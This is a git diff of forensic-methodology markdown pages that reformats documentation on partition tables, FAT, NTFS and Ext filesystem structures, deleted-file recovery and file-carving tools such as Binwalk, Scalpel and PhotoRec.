**sector 1** \(which in the previous image is empty\). +If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the** sector 1 **(which in the previous image is empty). ## File-Systems @@ -144,19 +144,19 @@ If it was a **GPT table instead of a MBR** it should appear the signature _EFI P ### FAT -The **FAT \(File Allocation Table\)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. +The** FAT (File Allocation Table) **file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. -![](../../../.gitbook/assets/image%20%28502%29.png) +![](<../../../.gitbook/assets/image (495).png>) -The minimum space unit used by this file-system is a **cluster, typically 512B** \(which is composed by a number of sectors\). +The minimum space unit used by this file-system is a **cluster, typically 512B** (which is composed by a number of sectors). -The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to **65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to **268,435,456 clusters** per volume +The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to** 65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to** 268,435,456 clusters** per volume -The **maximum file-size allowed by FAT is 4GB** \(minus one byte\) because the file system uses a 32-bit field to store the file size in bytes, and 2^32 bytes = 4 GiB. This happens for FAT12, FAT16 and FAT32. +The **maximum file-size allowed by FAT is 4GB** (minus one byte) because the file system uses a 32-bit field to store the file size in bytes, and 2^32 bytes = 4 GiB. This happens for FAT12, FAT16 and FAT32. -The **root directory** occupies a **specific position** for both FAT12 and FAT16 \(in FAT32 it occupies a position like any other folder\). Each file/folder entry contains this information: +The **root directory** occupies a **specific position** for both FAT12 and FAT16 (in FAT32 it occupies a position like any other folder). Each file/folder entry contains this information: -* Name of the file/folder \(8 chars max\) +* Name of the file/folder (8 chars max) * Attributes * Date of creation * Date of modification @@ -164,17 +164,21 @@ The **root directory** occupies a **specific position** for both FAT12 and FAT16 * Address of the FAT table where the first cluster of the file starts * Size -When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** \(modified to ****0xE5\), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. +When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to** **0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. ### **NTFS** -{% page-ref page="ntfs.md" %} +{% content-ref url="ntfs.md" %} +[ntfs.md](ntfs.md) +{% endcontent-ref %} ### EXT -**Ext2** is the most common file-system for **not journaling** partitions \(**partitions that don't change much**\) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2 **is the most common file-system for **not journaling **partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling **and are used usually for the **rest partitions**. -{% page-ref page="ext.md" %} +{% content-ref url="ext.md" %} +[ext.md](ext.md) +{% endcontent-ref %} ## **Metadata** @@ -188,17 +192,19 @@ Some files contains metadata. This is information about the content of the file * GPS coordinates * Image information -You can use tools like [**exiftool**](https://exiftool.org/) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. ## **Deleted Files Recovery** ### Logged Deleted Files -As it was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file-system just mark it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files \(like the MFT\) and find the deleted files. +As it was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file-system just mark it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. -{% page-ref page="file-data-carving-recovery-tools.md" %} +{% content-ref url="file-data-carving-recovery-tools.md" %} +[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) +{% endcontent-ref %} ### **File Carving** @@ -208,25 +214,28 @@ Note that this technique **doesn't work to retrieve fragmented files**. If a fil There are several tools that you can use for file Carving indicating them the file-types you want search for -{% page-ref page="file-data-carving-recovery-tools.md" %} +{% content-ref url="file-data-carving-recovery-tools.md" %} +[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) +{% endcontent-ref %} ### Data Stream **C**arving -Data Stream Carving is similar to File Carving but i**nstead of looking for complete files, it looks for interesting fragments** of information. +Data Stream Carving is similar to File Carving but i**nstead of looking for complete files, it looks for interesting fragments** of information.\ For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. -{% page-ref page="file-data-carving-recovery-tools.md" %} +{% content-ref url="file-data-carving-recovery-tools.md" %} +[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) +{% endcontent-ref %} ### Secure Deletion -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**. +Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content **of a file with junk data several times, and then **remove** the **logs** from the** $MFT **and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**. \ You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. ## References -* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +* [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * **iHackLabs Certified Digital Forensics Windows** - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md index 4833434b..ee55c278 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md @@ -2,7 +2,7 @@ ## Ext - Extended Filesystem -**Ext2** is the most common filesystem for **not journaling** partitions \(**partitions that don't change much**\) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2 **is the most common filesystem for **not journaling **partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling **and are used usually for the **rest partitions**. All block groups in the filesystem have the same size and are stored sequentially. This allows the kernel to easily derive the location of a block group in a disk from its integer index. @@ -15,11 +15,11 @@ Every block group contains the following pieces of information: * inode table: it consists of a series of consecutive blocks, each of which contains a predefined Figure 1 Ext2 inode number of inodes. All inodes have the same size: 128 bytes. A 1,024 byte block contains 8 inodes, while a 4,096-byte block contains 32 inodes. Note that in Ext2, there is no need to store on disk a mapping between an inode number and the corresponding block number because the latter value can be derived from the block group number and the relative position inside the inode table. For example, suppose that each block group contains 4,096 inodes and that we want to know the address on disk of inode 13,021. In this case, the inode belongs to the third block group and its disk address is stored in the 733rd entry of the corresponding inode table. As you can see, the inode number is just a key used by the Ext2 routines to retrieve the proper inode descriptor on disk quickly * data blocks, containing files. Any block which does not contain any meaningful information, it is said to be free. -![](../../../.gitbook/assets/image%20%28418%29.png) +![](<../../../.gitbook/assets/image (406).png>) ### Ext Optional Features -**Features affect where** the data is located, **how** the data is stored in inodes and some of them might supply **additional metadata** for analysis, therefore features are important in Ext. +**Features affect where **the data is located, **how **the data is stored in inodes and some of them might supply **additional metadata **for analysis, therefore features are important in Ext. Ext has optional features that your OS may or may not support, there are 3 possibilities: @@ -27,13 +27,13 @@ Ext has optional features that your OS may or may not support, there are 3 possi * Incompatible * Compatible Read Only: It can be mounted but not for writing -If there are **incompatible** features you won't be able to mount the filesystem as the OS won't know how the access the data. +If there are **incompatible **features you won't be able to mount the filesystem as the OS won't know how the access the data. {% hint style="info" %} Suspected attacker might have non-standard extensions {% endhint %} -**Any utility** that reads the **superblock** will be able to indicate the **features** of a **Ext filesystem**, but you could also use `file -sL /dev/sd*` +**Any utility **that reads the **superblock **will be able to indicate the **features **of a **Ext filesystem**, but you could also use `file -sL /dev/sd*` ### Superblock @@ -49,7 +49,7 @@ The superblock is the first 1024 bytes from the start, it's repeated in the firs * Last write time * Last mount time * Path where the file system was last mounted -* Filesystem status \(clean?\) +* Filesystem status (clean?) It's possible to obtain this information from an Ext filesystem file using: @@ -58,79 +58,79 @@ fsstat -o /pat/to/filesystem-file.ext #You can get the with the "p" command inside fdisk ``` -You can also use the free gui application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html) -Or you can also use **python** to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) +You can also use the free gui application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ +Or you can also use **python **to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) ### inodes -The **inodes** contain the list of **blocks** that **contains** the actual **data** of a **file**. -If the file is big, and inode **may contain pointers** to **other inodes** that points to the blocks/more inodes containing the file data. +The **inodes **contain the list of **blocks **that **contains **the actual **data **of a **file**.\ +If the file is big, and inode **may contain pointers **to **other inodes **that points to the blocks/more inodes containing the file data. -![](../../../.gitbook/assets/image%20%28423%29.png) +![](<../../../.gitbook/assets/image (416).png>) -In **Ext2** and **Ext3** inodes are of size **128B**, **Ext4** currently uses **156B** but allocates **256B** on disk to allow a future expansion. +In **Ext2 **and **Ext3 **inodes are of size **128B**, **Ext4 **currently uses **156B **but allocates **256B **on disk to allow a future expansion. Inode structure: -| Offset | Size | Name | DescriptionF | -| :--- | :--- | :--- | :--- | -| 0x0 | 2 | File Mode | File mode and type | -| 0x2 | 2 | UID | Lower 16 bits of owner ID | -| 0x4 | 4 | Size Il | Lower 32 bits of file size | -| 0x8 | 4 | Atime | Access time in seconds since epoch | -| 0xC | 4 | Ctime | Change time in seconds since epoch | -| 0x10 | 4 | Mtime | Modify time in seconds since epoch | -| 0x14 | 4 | Dtime | Delete time in seconds since epoch | -| 0x18 | 2 | GID | Lower 16 bits of group ID | -| 0x1A | 2 | Hlink count | Hard link count | -| 0xC | 4 | Blocks Io | Lower 32 bits of block count | -| 0x20 | 4 | Flags | Flags | -| 0x24 | 4 | Union osd1 | Linux: I version | -| 0x28 | 69 | Block\[15\] | 15 pointes to data block | -| 0x64 | 4 | Version | File version for NFS | -| 0x68 | 4 | File ACL low | Lower 32 bits of extended attributes \(ACL, etc\) | -| 0x6C | 4 | File size hi | Upper 32 bits of file size \(ext4 only\) | -| 0x70 | 4 | Obsolete fragment | An obsoleted fragment address | -| 0x74 | 12 | Osd 2 | Second operating system dependent union | -| 0x74 | 2 | Blocks hi | Upper 16 bits of block count | -| 0x76 | 2 | File ACL hi | Upper 16 bits of extended attributes \(ACL, etc.\) | -| 0x78 | 2 | UID hi | Upper 16 bits of owner ID | -| 0x7A | 2 | GID hi | Upper 16 bits of group ID | -| 0x7C | 2 | Checksum Io | Lower 16 bits of inode checksum | +| Offset | Size | Name | DescriptionF | +| ------ | ---- | ----------------- | ------------------------------------------------ | +| 0x0 | 2 | File Mode | File mode and type | +| 0x2 | 2 | UID | Lower 16 bits of owner ID | +| 0x4 | 4 | Size Il | Lower 32 bits of file size | +| 0x8 | 4 | Atime | Access time in seconds since epoch | +| 0xC | 4 | Ctime | Change time in seconds since epoch | +| 0x10 | 4 | Mtime | Modify time in seconds since epoch | +| 0x14 | 4 | Dtime | Delete time in seconds since epoch | +| 0x18 | 2 | GID | Lower 16 bits of group ID | +| 0x1A | 2 | Hlink count | Hard link count | +| 0xC | 4 | Blocks Io | Lower 32 bits of block count | +| 0x20 | 4 | Flags | Flags | +| 0x24 | 4 | Union osd1 | Linux: I version | +| 0x28 | 69 | Block\[15] | 15 pointes to data block | +| 0x64 | 4 | Version | File version for NFS | +| 0x68 | 4 | File ACL low | Lower 32 bits of extended attributes (ACL, etc) | +| 0x6C | 4 | File size hi | Upper 32 bits of file size (ext4 only) | +| 0x70 | 4 | Obsolete fragment | An obsoleted fragment address | +| 0x74 | 12 | Osd 2 | Second operating system dependent union | +| 0x74 | 2 | Blocks hi | Upper 16 bits of block count | +| 0x76 | 2 | File ACL hi | Upper 16 bits of extended attributes (ACL, etc.) | +| 0x78 | 2 | UID hi | Upper 16 bits of owner ID | +| 0x7A | 2 | GID hi | Upper 16 bits of group ID | +| 0x7C | 2 | Checksum Io | Lower 16 bits of inode checksum | -"Modify" is the timestamp of the last time the file's _content_ has been mofified. This is often called "_mtime_". +"Modify" is the timestamp of the last time the file's _content_ has been mofified. This is often called "_mtime_".\ "Change" is the timestamp of the last time the file's _inode_ has been changed, like by changing permissions, ownership, file name, number of hard links. It's often called "_ctime_". -Inode structure extended \(Ext4\): +Inode structure extended (Ext4): -| Offset | Size | Name | Description | -| :--- | :--- | :--- | :--- | -| 0x80 | 2 | Extra size | How many bytes beyond standard 128 are used | -| 0x82 | 2 | Checksum hi | Upper 16 bits of inode checksum | -| 0x84 | 4 | Ctime extra | Change time extra bits | -| 0x88 | 4 | Mtime extra | Modify time extra bits | -| 0x8C | 4 | Atime extra | Access time extra bits | -| 0x90 | 4 | Crtime | File create time \(seconds since epoch\) | -| 0x94 | 4 | Crtime extra | File create time extra bits | -| 0x98 | 4 | Version hi | Upper 32 bits of version | -| 0x9C | | Unused | Reserved space for future expansions | +| Offset | Size | Name | Description | +| ------ | ---- | ------------ | ------------------------------------------- | +| 0x80 | 2 | Extra size | How many bytes beyond standard 128 are used | +| 0x82 | 2 | Checksum hi | Upper 16 bits of inode checksum | +| 0x84 | 4 | Ctime extra | Change time extra bits | +| 0x88 | 4 | Mtime extra | Modify time extra bits | +| 0x8C | 4 | Atime extra | Access time extra bits | +| 0x90 | 4 | Crtime | File create time (seconds since epoch) | +| 0x94 | 4 | Crtime extra | File create time extra bits | +| 0x98 | 4 | Version hi | Upper 32 bits of version | +| 0x9C | | Unused | Reserved space for future expansions | Special inodes: -| Inode | Special Purpose | -| :--- | :--- | -| 0 | No such inode, numberings starts at 1 | -| 1 | Defective block list | -| 2 | Root directory | -| 3 | User quotas | -| 4 | Group quotas | -| 5 | Boot loader | -| 6 | Undelete directory | -| 7 | Reserved group descriptors \(for resizing filesystem\) | -| 8 | Journal | -| 9 | Exclude inode \(for snapshots\) | -| 10 | Replica inode | -| 11 | First non-reserved inode \(often lost + found\) | +| Inode | Special Purpose | +| ----- | ---------------------------------------------------- | +| 0 | No such inode, numberings starts at 1 | +| 1 | Defective block list | +| 2 | Root directory | +| 3 | User quotas | +| 4 | Group quotas | +| 5 | Boot loader | +| 6 | Undelete directory | +| 7 | Reserved group descriptors (for resizing filesystem) | +| 8 | Journal | +| 9 | Exclude inode (for snapshots) | +| 10 | Replica inode | +| 11 | First non-reserved inode (often lost + found) | {% hint style="info" %} Not that the creation time only appears in Ext4. @@ -138,10 +138,10 @@ Not that the creation time only appears in Ext4. Knowing the inode number you can easily find it's index: -* **Block group** where an inode belongs: \(Inode number - 1\) / \(Inodes per group\) -* **Index inside it's group**: \(Inode number - 1\) mod\(Inodes/groups\) -* **Offset** into **inode table**: Inode number \* \(Inode size\) -* The "-1" is because the inode 0 is undefined \(not used\) +* **Block group** where an inode belongs: (Inode number - 1) / (Inodes per group) +* **Index inside it's group**: (Inode number - 1) mod(Inodes/groups) +* **Offset **into **inode table**: Inode number \* (Inode size) +* The "-1" is because the inode 0 is undefined (not used) ```bash ls -ali /bin | sort -n #Get all inode numbers and sort by them @@ -152,80 +152,36 @@ icat -o /path/to/image.ext 657103 #Cat the file File Mode -| Number | Description | -| :--- | :--- | -| **15** | **Reg/Slink-13/Socket-14** | -| **14** | **Directory/Block Bit 13** | -| **13** | **Char Device/Block Bit 14** | -| **12** | **FIFO** | -| 11 | Set UID | -| 10 | Set GID | -| 9 | Sticky Bit \(without it, anyone with Write & exec perms on a directory can delete and rename files\) | -| 8 | Owner Read | -| 7 | Owner Write | -| 6 | Owner Exec | -| 5 | Group Read | -| 4 | Group Write | -| 3 | Group Exec | -| 2 | Others Read | -| 1 | Others Write | -| 0 | Others Exec | +| Number | Description | +| ------ | --------------------------------------------------------------------------------------------------- | +| **15** | **Reg/Slink-13/Socket-14** | +| **14** | **Directory/Block Bit 13** | +| **13** | **Char Device/Block Bit 14** | +| **12** | **FIFO** | +| 11 | Set UID | +| 10 | Set GID | +| 9 | Sticky Bit (without it, anyone with Write & exec perms on a directory can delete and rename files) | +| 8 | Owner Read | +| 7 | Owner Write | +| 6 | Owner Exec | +| 5 | Group Read | +| 4 | Group Write | +| 3 | Group Exec | +| 2 | Others Read | +| 1 | Others Write | +| 0 | Others Exec | -The bold bits \(12, 13, 14, 15\) indicate the type of file the file is \(a directory, socket...\) only one of the options in bold may exit. +The bold bits (12, 13, 14, 15) indicate the type of file the file is (a directory, socket...) only one of the options in bold may exit. Directories - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OffsetSizeNameDescription
0x04Inode
0x42Rec lenRecord length
0x61Name lenName length
0x71File type -

0x00 Unknown -
0x01 Regular

-

0x02 Director

-

0x03 Char device

-

0x04 Block device

-

0x05 FIFO

-

0x06 Socket

-

0x07 Sym link

-
0x8NameName string (up to 255 characters)
+| Offset | Size | Name | Description | +| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 0x0 | 4 | Inode | | +| 0x4 | 2 | Rec len | Record length | +| 0x6 | 1 | Name len | Name length | +| 0x7 | 1 | File type |

0x00 Unknown
0x01 Regular

0x02 Director

0x03 Char device

0x04 Block device

0x05 FIFO

0x06 Socket

0x07 Sym link

| +| 0x8 | | Name | Name string (up to 255 characters) | **In order to increase the performance, Root hash Directory blocks may be used.** @@ -233,8 +189,8 @@ Directories Can be stored in -* Extra space between inodes \(256 - inode size, usually = 100\) -* A data block pointed to by file\_acl in inode +* Extra space between inodes (256 - inode size, usually = 100) +* A data block pointed to by file_acl in inode Can be used to store anything as a users attribute if name starts with "user". @@ -242,69 +198,15 @@ Data can ne hidden this way. Extended Attributes Entries - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OffsetSizeNameDescription
0x01Name lenLength of attribute name
0x11Name index -

0x0 = no prefix

-

0x1 = user. Prefix

-

0x2 = system.posix_acl_access

-

0x3 = system.posix_acl_default

-

0x4 = trusted.

-

0x6 = security.

-

0x7 = system.

-

0x8 = system.richacl

-
0x22Value offsOffset from first inode entry or start of block
0x44Value blocksDisk block where value stored or zero for this block
0x84Value sizeLength of value
0xC4HashHash for attribs in block or zero if in inode
0x10NameAttribute name w/o trailing NULL
+| Offset | Size | Name | Description | +| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 0x0 | 1 | Name len | Length of attribute name | +| 0x1 | 1 | Name index |

0x0 = no prefix

0x1 = user. Prefix

0x2 = system.posix_acl_access

0x3 = system.posix_acl_default

0x4 = trusted.

0x6 = security.

0x7 = system.

0x8 = system.richacl

| +| 0x2 | 2 | Value offs | Offset from first inode entry or start of block | +| 0x4 | 4 | Value blocks | Disk block where value stored or zero for this block | +| 0x8 | 4 | Value size | Length of value | +| 0xC | 4 | Hash | Hash for attribs in block or zero if in inode | +| 0x10 | | Name | Attribute name w/o trailing NULL | ```bash setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes @@ -314,8 +216,7 @@ getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret" ### Filesystem View -In order to see the contents of the file system you can **use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html) +In order to see the contents of the file system you can** use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ Or you can mount it in your linux using `mount` command. -[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz\#:~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class_profile/get_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) - +[https://piazza.com/class_profile/get_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class_profile/get_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index fd145dd8..bf52c8c7 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,10 +8,10 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. -### Binwalk +### Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. +**Binwalk **is a tool for searching binary files like images and audio files for embedded files and data.\ +It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.\ **Useful commands**: ```bash @@ -33,7 +33,7 @@ foremost -v -i file.img -o output ### **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. +**Scalpel **is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. ```bash sudo apt-get install scalpel @@ -42,23 +42,23 @@ scalpel file.img -o output ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) +This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +This tool can scan an image and will **extract pcaps** inside it, **network information(URLs, domains, IPs, MACs, mails)** and more** files**. You only have to do: -```text +``` bulk_extractor memory.img -o out_folder ``` -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Navigate through** all the information** that the tool has gathered (passwords?), **analyse **the **packets **(read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware **or **non-existent**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. -![](../../../.gitbook/assets/image%20%28524%29.png) +![](<../../../.gitbook/assets/image (524).png>) ## Specific Data Carving Tools @@ -70,6 +70,5 @@ Download [here](https://sourceforge.net/projects/findaes/). ## Complementary tools -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. +You can use [**viu **](https://github.com/atanunq/viu)to see images form the terminal.\ You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index 2e14db91..5593b655 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -2,127 +2,127 @@ ## **NTFS** -**NTFS** \(**New Technology File System**\) is a proprietary journaling file system developed by Microsoft. +**NTFS** (**New Technology File System**) is a proprietary journaling file system developed by Microsoft. The cluster is the minimum size unit of NTFS and the size of the cluster depends on the size of a partition. -| Partition size | Sectors per cluster | Cluster size | -| :--- | :--- | :--- | -| 512MB or less | 1 | 512 bytes | -| 513MB-1024MB \(1GB\) | 2 | 1KB | -| 1025MB-2048MB \(2GB\) | 4 | 2KB | -| 2049MB-4096MB \(4GB\) | 8 | 4KB | -| 4097MB-8192MB \(8GB\) | 16 | 8KB | -| 8193MB-16,384MB \(16GB\) | 32 | 16KB | -| 16,385MB-32,768MB \(32GB\) | 64 | 32KB | -| Greater than 32,768MB | 128 | 64KB | +| Partition size | Sectors per cluster | Cluster size | +| ------------------------ | ------------------- | ------------ | +| 512MB or less | 1 | 512 bytes | +| 513MB-1024MB (1GB) | 2 | 1KB | +| 1025MB-2048MB (2GB) | 4 | 2KB | +| 2049MB-4096MB (4GB) | 8 | 4KB | +| 4097MB-8192MB (8GB) | 16 | 8KB | +| 8193MB-16,384MB (16GB) | 32 | 16KB | +| 16,385MB-32,768MB (32GB) | 64 | 32KB | +| Greater than 32,768MB | 128 | 64KB | ### **Slack-Space** As the **minimum** size unit of NTFS is a **cluster**. Each file will be occupying a number of complete clusters. Then, it's highly probable that **each file occupies more space than necessary**. These **unused** **spaces** **booked** by a file which is called **slacking** **space**. And people could take advantage of this technique to **hide** **information**. -![](../../../.gitbook/assets/image%20%28464%29.png) +![](<../../../.gitbook/assets/image (498).png>) ### **NTFS boot sector** -When you format an NTFS volume, the format program allocates the first 16 sectors for the $Boot metadata file. First sector, in fact, is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL \(initial program loader\). To increase file system reliability the very last sector an NTFS partition contains a spare copy of the boot sector. +When you format an NTFS volume, the format program allocates the first 16 sectors for the $Boot metadata file. First sector, in fact, is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL (initial program loader). To increase file system reliability the very last sector an NTFS partition contains a spare copy of the boot sector. ### **Master File Table o $MFT** -The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. +The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its** size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. -As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free** and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. +As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free **and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. -The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the **MFT zone**. Space for file and directories are also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. +The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the** MFT zone**. Space for file and directories are also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. -Depending on the average file size and other variables, **either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. +Depending on the average file size and other variables,** either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. -NTFS file systems also generate a **$MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. +NTFS file systems also generate a** $MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. NTFS reserves the first 16 records of the table for special information: -| System File | File Name | MFT Record | Purpose of the File | -| :--- | :--- | :--- | :--- | -| Master file 